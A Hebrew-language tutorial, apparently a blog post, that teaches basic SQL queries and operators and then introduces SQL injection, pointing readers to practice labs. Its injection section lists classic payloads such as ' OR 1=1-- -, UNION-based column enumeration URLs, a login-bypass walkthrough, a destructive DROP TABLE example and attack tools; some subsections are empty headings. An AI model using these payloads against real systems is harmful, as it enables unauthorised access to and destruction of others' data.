ראשית, לפני הכל, ברצוני להמליץ על מכונה בשם Beebox, כדאי להוריד לפני שמתחילים:
להורדה לחץ כאן
או דרך הקישור: https://sourceforge.net/projects/bwapp/files/bee-box

הקדמה:

* מהי שפת SQL?
שפת תכנות מובנית לביצוע שאילתות על טבלאות במסד נתונים.
SQL היא השפה הסטנדרטית למערכות ניהול מסדי נתונים. שאילתות SQL משמשות לביצוע עדכונים ואחזורים במסד נתונים. חלק מהמערכות הנפוצות לניהול מסדי נתונים הן:
Microsoft Access, Microsoft SQL Server, Oracle, Sybase, Ingres ועוד.
למרות שרוב המערכות מתבססות על שפת SQL לחלקן יש הרחבות ושינויים הנמצאים רק בגרסאות שלהם. פקודות סטנדרטיות כגון: בחירה, הוספה, עדכון ומחיקה יופיעו בכל הגרסאות באופן זהה.

* מהו מסד נתונים?
אחסון נתונים במחשב לצורך אחזורם ועיבודם.

ניתן לתרגל שאילתות SQL באמצעות האתר הבא: http://sqlzoo.net


פקודות SQL:
* Create - יצירת מסד נתונים, טבלה, אינדקס או שאילתה מאוחסנת.
* Drop - מחיקת מסד נתונים, טבלה או אינדקס.
* Grant - הפקודה מאפשרת למשתמש בעל הרשאות לבצע פעולות מסויימות.
* Revoke - מבטלת הרשאות למשתמש מוגדר ונועלת את האפשרות לבצע פעולות.
* Delete - מחיקת רשומה.
* Insert - הוספת רשומה חדשה.
* Select - מחזירה רשומה התואמת למידע מסויים.
* Update -  שינוי ערכם של שדות מוגדרים התואמים למידע מסויים.

סימנים מיוחדים:
' ' - גרשיים יציינו קבועי טקסט.
# # - סולמיות יציינו תאריכים.
למספרים אין סימנים מיוחדים.


* כיצד שאילתא עובדת?
select name from students
where firstname ="Lior"
בדוגמא הנ"ל אנו נרצה לקבל את עמודת השמות מטבלת סטודנטים והשם הפרטי יענה לשם ליאור.
Select, תזהה את השאילתא ותמצא את השדות הנדרשים באותה הבקשה.

במקרה שיש יותר מעמודה אחת יש להפריד באמצעות פסיקים: select name,age,gender from students

במקרה ויש רווח בין 2 שדות יש לתחום אותם באמצעות סוגריים מרובעים:
select [high school] from students

סימון * יאפשר לקבל את כל השדות המופיעים בטבלה ללא שם שדה ספציפי:
Select * from students


From, תזהה את הטבלה בה נמצא המידע הרצוי.
 select name from students
כפי שניתן להבין מהשאילתא שם הטבלה בה נמצא המידע הוא students.


Join, פקודה זו תסייע למשוך מידע מיותר מטבלה 1 לדוגמא:
select name from students join teachers

בעזרת פקודה זו אנו נקבל שמות גם מטבלת students וגם מטבלת teachers.


Union, פקודה זו תסייע לאחד בין 2 טבלאות במידה והשדות שלהם זהים בגודלם ובסדרם.
select id,name,age from students
union
select id,name,age from teachers;


Order by, הפקודה תסדר את התוצאה ממוינת לפי סדר שדות עולה או יורד.
select create_date, username,id,age from students
order by create_date desc;
התוצאה שתתקבל תסודר לפי תאריך רישון בסדר יורד.


אופרטורים:
בזכות האופרטורים ניתן לקבוע את סוג התנאי.


שם האופרטור
הסבר
דוגמא:
=
שווה ל-
where name = ‘lior’;
=!
לא שווה ל-
where name != ‘lior’;
<>
שונה מ-
where population <> 800;
>
קטן מ-
where population < 800;
<
גדול מ-
where population > 800;
=>
שווה או קטן מ-
where population <= 800;
=<
שווה או גדול מ-
where population >= 800;
Between
בטווח
where title between ‘a’ and ‘s’;
In
נמצא ב-
where area in('london','madrid','prague');
Or
או
where condition1 or condition2
And
גם וגם
where condition1 and condition2



Like
כמו/דומה ל-
where firstname like ‘lior’
‘a%’
מתחיל באות a
where firstname like ‘a%’
‘%a’
נגמר באות a
where firstname like ‘%a’
'a%o'
מתחיל באות a נגמר באות o
where firstname like 'a%o'

SQL Injection:

הזרקת קוד זדוני בשאילתות אל מסד הנתונים לצורך קבלת מידע חיוני וחסוי, הנגיש למשתמשים בעלי הרשאות גבוהות בלבד! באמצעות הזרקות אלה, הפורץ נחשף למידע רב שנמצא בתוך מסד הנתונים וכל זה ללא שום הגבלה.

סוגי SQL Injection:
Classic: (שימוש בגרש ' וגרשיים ")
דוגמאות:
* http://www.example.com/index.php?ID='
* http://www.example.com/index.php?ID='='
* http://www.example.com/index.php?ID='OR 1=1-- -
Username 1' or '1'='1

הפעולה הזאת תמחק הכל ממסד הנתונים המרוחק.
SELECT * FROM * WHERE ID=1; DROP TABLE*;

Boolean:


Error:


Stuck:


Time:

כלים:
SQLMap
SQLNinja
BSQL Hacker
SQLSus
Mole

אופרטורים לזיהוי SQLI:
Page.PHP?ID='1
Page.PHP?ID=1'
Page.PHP?ID=1'='
Page.PHP?ID=1=1/*
Page.PHP?ID='1'='1'-- -
Page.PHP?ID='1'='1' ({
Page.PHP?ID='1'='1'/*


Union: (יתבצע דרך ה-URL)
ראשית עלינו להשיג הוכחה שאכן ניתן להזריק שאילתות

לאחר מכן יש לאתר את מספר העמודות באמצעות Order by:
http://www.website.com/index.php?id=3 order by 5-- -

נשתמש ב-union select ונפריד את השדות באמצעות פסיק:
http://www.website.com/index.php?id=3 union select 1,2,3,4,5-- -



* איך זה עובד?
select * from users 
where username=‘admin’ AND password=‘$pass’;
בדוגמא הנ"ל ישנה שאילתת התחברות, כל ערך מסומן באמצעות גרשיים ותנאי שדורש ששני הערכים יהיו נכונים. נניח שהשרת לא מסנן סימנים ומאפשר הזנה של כל תו קיים.

השלב הראשון: ביצוע שגיאה
where username=‘user’' AND password=‘$pass’;
הוספת גרש לאחר שם המשתמש, תגרום לשינוי ה-String הקיים ויתיצור שגיאה (סימן טוב).
במקרה הנ"ל יש תנאי 1 חיובי ותנאי 1 שלילי כיוון שהסיסמא לא ידועה.

השלב השני: החלפת ערך הסיסמא בערך אחר כדי לגרום ל-2 תנאים חיוביים
where username=‘user’' or 1=1-- - AND password=‘$pass’;
where username=‘user’' or 1=1# AND password=‘$pass’;
בעצם כל מה שנמצא אחרי הערה (- -- או #) לא יועבר ולכן הוא לא רלוונטי.

שלב השלישי: ניסיון התחברות
User: where username=‘user’' or 1=1-- - 
Password: כל מה שנכתוב כאן יחשב כהערה
במקרה ששום תו לא נחסם המערכת תחבר את הבקשה ישירות אל המשתמש הראשון שנוצר במערכת Admin.



ניתן לתרגל SQL Injection באמצעות האתר הבא: http://zixem.altervista.org/SQLi